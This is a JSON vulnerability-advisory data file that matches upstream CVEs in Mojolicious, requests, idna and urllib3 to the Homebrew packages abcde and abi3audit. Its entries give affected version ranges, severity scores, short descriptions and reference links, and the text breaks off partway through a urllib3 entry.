{"meta":{"count":16757,"skipped_uncomparable":0,"schema_version":"1.7.3"},"advisories":{"abcde":[{"schema_version":"1.7.3","id":"BREW-abcde-CPANSA-Mojolicious-2021-02","published":"2026-08-13T09:10:09Z","modified":"2026-10-29T02:49:04Z","upstream":["CPANSA-Mojolicious-2021-02"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.19","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Small sessions could be used as part of a brute-force attack to decode the session secret.","details":"Small sessions could be used as part of a brute-force attack to decode the session secret.\n","references":[{"type":"WEB","url":"https://github.com/mojolicious/mojo/pull/1791"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CPANSA-Mojolicious-2022-03","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CPANSA-Mojolicious-2022-03"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.31","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojo::DOM did not correctly parse <script> tags.","details":"Mojo::DOM did not correctly parse <script> tags.\n","references":[{"type":"WEB","url":"https://github.com/mojolicious/mojo/commit/6f195d85db6756022d3599f7d2634975688c9550"},{"type":"WEB","url":"https://github.com/mojolicious/mojo/issues/2014"},{"type":"WEB","url":"https://github.com/mojolicious/mojo/issues/2015"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2020-36829","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2020-36829"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"8.65","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"details":"The Mojolicious module before 8.65 for Perl is vulnerable to secure_compare timing attacks that allow an attacker to guess the length of a secret string. Only versions after 1.74 are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/06/msg00025.html"},{"type":"REPORT","url":"https://github.com/mojolicious/mojo/issues/1599"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/pull/1601"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2021-47208","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2021-47208"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.11","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"details":"The Mojolicious module before 9.11 for Perl has a bug in format detection that can potentially be exploited for denial of service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"REPORT","url":"https://github.com/mojolicious/mojo/issues/1736"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/a0c4576ffb11c235088550de9ba7ac4196e1953c"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2024-58134","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2024-58134"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojolicious versions from 0.999922 for Perl uses a hard coded string, or the application's class name, as an HMAC session cookie secret by default","details":"Mojolicious versions from 0.999922 for Perl uses a hard coded string, or the application's class name, as an HMAC session cookie secret by default.\n\nThese predictable default secrets can be exploited by an attacker to forge session cookies.  An attacker who knows or guesses the secret could compute valid HMAC signatures for the session cookie, allowing them to tamper with or hijack another user’s session.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://cpan.org/modules"},{"type":"WEB","url":"https://metacpan.org/release/SRI/Mojolicious-9.39/source/lib/Mojolicious.pm#L51"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/58xxx/CVE-2024-58134.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58134"},{"type":"REPORT","url":"https://github.com/mojolicious/mojo/pull/1791"},{"type":"REPORT","url":"https://github.com/mojolicious/mojo/pull/2200"},{"type":"REPORT","url":"https://github.com/mojolicious/mojo/pull/2252"},{"type":"PACKAGE","url":"https://github.com/mojolicious/mojo"},{"type":"ARTICLE","url":"https://docs.mojolicious.org/Mojolicious/Guides/FAQ#What-does-Your-secret-passphrase-needs-to-be-changed-mean"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00016.html"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00017.html"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00018.html"},{"type":"ARTICLE","url":"https://medium.com/securing/baking-mojolicious-cookies-revisited-a-case-study-of-solving-security-problems-through-security-by-13da7c225802"},{"type":"ARTICLE","url":"https://www.synacktiv.com/publications/baking-mojolicious-cookies"},{"type":"EVIDENCE","url":"https://github.com/hashcat/hashcat/pull/4090"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2024-58135","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2024-58135"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojolicious versions from 7.28 through 9.45 for Perl will generate weak HMAC session cookie secrets via \"mojo generate app\" by default","details":"Mojolicious versions from 7.28 through 9.45 for Perl will generate weak HMAC session cookie secrets via \"mojo generate app\" by default.\n\nWhen creating a default app skeleton with the \"mojo generate app\" tool, a weak secret is written to the application's configuration file using the insecure rand() function, and used for authenticating and protecting the integrity of the application's sessions. This may allow an attacker to brute force the application's session keys.\n\nRelease 9.46 fixes the issue by providing high quality randomness, even in absence of CryptX.\n\nUsers should be aware that the update does not replace previously generated weak secrets.  A secret generated with the previous version MUST be replaced to ensure the updated version is using a strong secret.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://cpan.org/modules"},{"type":"WEB","url":"https://metacpan.org/release/SRI/Mojolicious-7.28/source/lib/Mojolicious/Command/generate/app.pm#L220"},{"type":"WEB","url":"https://metacpan.org/release/SRI/Mojolicious-9.38/source/lib/Mojolicious/Command/Author/generate/app.pm#L202"},{"type":"WEB","url":"https://metacpan.org/release/SRI/Mojolicious-9.39/source/lib/Mojo/Util.pm#L181"},{"type":"WEB","url":"https://perldoc.perl.org/functions/rand"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/58xxx/CVE-2024-58135.json"},{"type":"ADVISORY","url":"https://metacpan.org/release/SRI/Mojolicious-9.46/source/Changes"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58135"},{"type":"REPORT","url":"https://github.com/mojolicious/mojo/pull/2200"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/789cfa43f9118852b38cbd1fd0a2596bcb9821ea.patch"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/fb3733f92cc8a3344e6d615b3c7dac9d538eeab0.patch"},{"type":"PACKAGE","url":"https://github.com/mojolicious/mojo"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00016.html"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00017.html"},{"type":"ARTICLE","url":"https://lists.debian.org/debian-perl/2025/05/msg00018.html"},{"type":"ARTICLE","url":"https://security.metacpan.org/docs/guides/random-data-for-security.html"},{"type":"EVIDENCE","url":"https://github.com/hashcat/hashcat/pull/4090"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2026-14803","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2026-14803"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.47","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojo::JSON versions before 9.47 for Perl allow memory exhaustion via unbounded recursion in the pure-Perl decoder","details":"Mojo::JSON versions before 9.47 for Perl allow memory exhaustion via unbounded recursion in the pure-Perl decoder.\n\nThe pure-Perl decode path (`_decode_value` dispatching to `_decode_array` and `_decode_object`) recurses with no depth limit, so a small deeply nested JSON document can consume excessive memory.\n\nThis path is the default when Cpanel::JSON::XS is not installed or `MOJO_NO_JSON_XS=1` is set; the Cpanel::JSON::XS fast path is not affected.\n\nAny caller that decodes an untrusted JSON body, for example `Mojo::Message::json` reached through `$c->req->json`, can exhaust process memory and cause denial of service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/07/06/2"},{"type":"WEB","url":"https://cpan.org/modules"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/14xxx/CVE-2026-14803.json"},{"type":"ADVISORY","url":"https://metacpan.org/release/SRI/Mojolicious-9.47/changes"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14803"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/cc38b0554275c4d84f6b8b49bcbbc1bec2068fe1.patch"},{"type":"PACKAGE","url":"https://github.com/mojolicious/mojo"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2026-15747","published":"2026-08-13T09:10:09Z","modified":"2026-10-08T00:55:40Z","upstream":["CVE-2026-15747"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.48","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojolicious versions from 4.59 before 9.48 for Perl expose a stable representation of the session CSRF token to a BREACH compression oracle","details":"Mojolicious versions from 4.59 before 9.48 for Perl expose a stable representation of the session CSRF token to a BREACH compression oracle.\n\n_csrf_token generates and caches one token per session and returns the same value on every call, and _csrf_field places that value in a hidden `csrf_token` input. When a response carrying the token also echoes attacker-controlled input and is gzip-compressed, the chosen values and the resulting compressed lengths form a BREACH oracle.\n\nAn attacker able to query it can recover the token and pass csrf_protect validation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/07/14/16"},{"type":"WEB","url":"https://cpan.org/modules"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/15xxx/CVE-2026-15747.json"},{"type":"ADVISORY","url":"https://metacpan.org/release/SRI/Mojolicious-9.48/changes"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-15747"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/01921fbbbbeca2d1397e082d4a647f9b84c24e27.patch"},{"type":"PACKAGE","url":"https://github.com/mojolicious/mojo"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2026-68914","published":"2026-09-24T10:46:15Z","modified":"2026-09-24T10:46:15Z","upstream":["CVE-2026-68914","GHSA-p5qf-qvw8-xgvg"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.47","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojolicious pure-Perl Mojo::JSON decoder allows memory exhaustion via deeply nested data","details":"Mojolicious is a real-time web framework for Perl. Prior to 9.47, the pure-Perl implementation of Mojo::JSON does not limit nesting depth when Cpanel::JSON::XS is unavailable or MOJO_NO_JSON_XS is enabled. An attacker who can supply untrusted JSON to decode_json, from_json, or j can submit deeply nested arrays or objects, causing unbounded recursion, memory exhaustion, and a process crash. Applications using the Cpanel::JSON::XS backend are not affected because that backend already enforces a nesting limit. This issue is fixed in version 9.47.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/68xxx/CVE-2026-68914.json"},{"type":"ADVISORY","url":"https://github.com/mojolicious/mojo/security/advisories/GHSA-p5qf-qvw8-xgvg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68914"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/cc38b0554275c4d84f6b8b49bcbbc1bec2068fe1"}]},{"schema_version":"1.7.3","id":"BREW-abcde-CVE-2026-77568","published":"2026-09-24T10:46:15Z","modified":"2026-09-24T10:46:15Z","upstream":["CVE-2026-77568","GHSA-cf46-h6jw-mj3r"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abcde","purl":"pkg:brew/abcde"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.3_1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"9.48","resource":"Mojo::Base","resource_purl":"pkg:cpan/SRI/Mojolicious@8.64"}}],"database_specific":{"source":"matched","strategy":"cpansa","confidence":"medium","upstream_evidence":[{"strategy":"cpansa","ecosystem":"CPAN","name":"Mojolicious","subject_version":"8.64","key":"pkg:cpan/SRI/Mojolicious@8.64","resource":"Mojo::Base"}]},"summary":"Mojolicious: CSRF tokens are vulnerable to BREACH attacks","details":"Mojolicious is a real-time web framework for Perl. Prior to 9.48, the Mojolicious CSRF helpers csrf_field, csrf_token, and csrf_protect reuse an unchanged per-session token in rendered HTML. When response compression is enabled and attacker-influenced content is reflected in the same response, an unauthenticated attacker who can induce many victim requests and observe response sizes can use a BREACH compression side channel to recover the token and forge cross-site requests. API-only deployments that never render the token in HTML are not affected. This issue is fixed in version 9.48.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77568.json"},{"type":"ADVISORY","url":"https://github.com/mojolicious/mojo/security/advisories/GHSA-cf46-h6jw-mj3r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77568"},{"type":"FIX","url":"https://github.com/mojolicious/mojo/commit/01921fbbbbeca2d1397e082d4a647f9b84c24e27"}]}],"abi3audit":[{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2023-32681","published":"2026-08-13T16:34:56Z","modified":"2026-09-17T19:22:58Z","upstream":["GHSA-j8r2-6x86-q33q","CVE-2023-32681","PYSEC-2023-74"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.9"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.31.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Unintended leak of Proxy-Authorization header in requests","details":"### Impact\n\nSince Requests v2.3.0, Requests has been vulnerable to potentially leaking `Proxy-Authorization` headers to destination servers, specifically during redirects to an HTTPS origin. This is a product of how `rebuild_proxies` is used to recompute and [reattach the `Proxy-Authorization` header](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/sessions.py#L319-L328) to requests when redirected. Note this behavior has _only_ been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. `https://username:password@proxy:8080`).\n\n**Current vulnerable behavior(s):**\n\n1. HTTP → HTTPS: **leak**\n2. HTTPS → HTTP: **no leak**\n3. HTTPS → HTTPS: **leak**\n4. HTTP → HTTP: **no leak**\n\nFor HTTP connections sent through the proxy, the proxy will identify the header in the request itself and remove it prior to forwarding to the destination server. However when sent over HTTPS, the `Proxy-Authorization` header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.\n\nThe reason this currently works for HTTPS connections in Requests is the `Proxy-Authorization` header is also handled by urllib3 with our usage of the ProxyManager in adapters.py with [`proxy_manager_for`](https://github.com/psf/requests/blob/f2629e9e3c7ce3c3c8c025bcd8db551101cbc773/requests/adapters.py#L199-L235). This will compute the required proxy headers in `proxy_headers` and pass them to the Proxy Manager, avoiding attaching them directly to the Request object. This will be our preferred option going forward for default usage.\n\n### Patches\nStarting in Requests v2.31.0, Requests will no longer attach this header to redirects with an HTTPS destination. This should have no negative impacts on the default behavior of the library as the proxy credentials are already properly being handled by urllib3's ProxyManager.\n\nFor users with custom adapters, this _may_ be potentially breaking if you were already working around this behavior. The previous functionality of `rebuild_proxies` doesn't make sense in any case, so we would encourage any users impacted to migrate any handling of Proxy-Authorization directly into their custom adapter.\n\n### Workarounds\nFor users who are not able to update Requests immediately, there is one potential workaround.\n\nYou may disable redirects by setting `allow_redirects` to `False` on all calls through Requests top-level APIs. Note that if you're currently relying on redirect behaviors, you will need to capture the 3xx response codes and ensure a new request is made to the redirect destination.\n```\nimport requests\nr = requests.get('http://github.com/', allow_redirects=False)\n```\n\n### Credits\n\nThis vulnerability was discovered and disclosed by the following individuals.\n\nDennis Brinkrolf, Haxolot (https://haxolot.com/)\nTobias Funke, (tobiasfunke93@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-j8r2-6x86-q33q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32681"},{"type":"WEB","url":"https://github.com/psf/requests/commit/74ea7cf7a6a27a4eeb2ae24e162bcc942a6706d5"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://github.com/psf/requests/releases/tag/v2.31.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2023-74.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AW7HNFGYP44RT3DUDQXG2QT3OEV2PJ7Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KOYASTZDGQG2BWLSNBPL3TQRL2G7QYNZ"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202309-08"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2024-35195","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2024-3651","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:44Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.10_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-abi3audit-CVE-2024-37891","published":"2026-08-13T16:34:56Z","modified":"2026-10-08T00:42:45Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"abi3audit","purl":"pkg:brew/abi3audit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.8"},{"fixed":"0.0.10_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects 